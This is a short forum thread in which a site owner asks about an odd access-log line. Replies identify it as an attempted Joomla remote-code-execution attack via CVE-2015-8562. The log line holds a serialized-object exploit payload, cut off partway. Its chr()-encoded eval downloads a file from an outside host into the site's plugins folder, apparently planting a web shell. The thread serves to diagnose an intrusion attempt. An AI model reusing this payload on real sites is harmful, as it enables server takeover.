S
S
Svetlana Shilova2016-04-10 12:43:10
MySQL
Svetlana Shilova, 2016-04-10 12:43:10

What do these logs on the server mean?

92.249.104.63 - - [09/Apr/2016:23:46:24 +0300] "GET / HTTP/1.0" 200 14034 "rus-zdrav.ru" "}__test|O:21:\"JDatabaseDriverMysqli\": 3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{ i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{} s:8:\"feed_url\";s:1057:\"eval(chr(99).chr(111).chr(112).chr(121).chr(40).chr(39).chr( 104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(122).chr(105).chr(112).chr( 116).chr(114).chr(46).chr(114).chr(117).chr(47).chr(115).chr(104).chr(47).chr(105).chr( 109).chr(103).chr(50).chr(53).chr(46).chr(116).chr(120).chr(116).chr(39).chr(44).chr( 32).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr( 39).chr(68).chr(79).chr(67).chr(85).chr(77).chr(69).chr(78).chr(84).chr(95).chr(82).chr(79). chr(79).chr(84).chr(39).chr(93).chr(46).chr(39).chr(47).chr(112).chr(108).chr(117). chr(103).chr(105).chr(110).chr(115).chr(47).chr(108).chr(111).chr(103).chr(46).chr(112). chr(104).chr(112).chr(39).chr(41).c

Answer the question

In order to leave comments, you need to log in

2 answer(s)
A
Andrey, 2016-04-10
@VladimirAndreev

[tried to poke

A
Anton Isaev, 2016-05-07
@antooninc

Here it is written in detail: www.skillz.ru/dev/php/article-Joomla-remote-code-v... We
tried to hack a site running on Joomla using a security hole.
Here you can quickly check the site for this vulnerability: https://scan.patrolserver.com/joomla/CVE-2015-8562

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question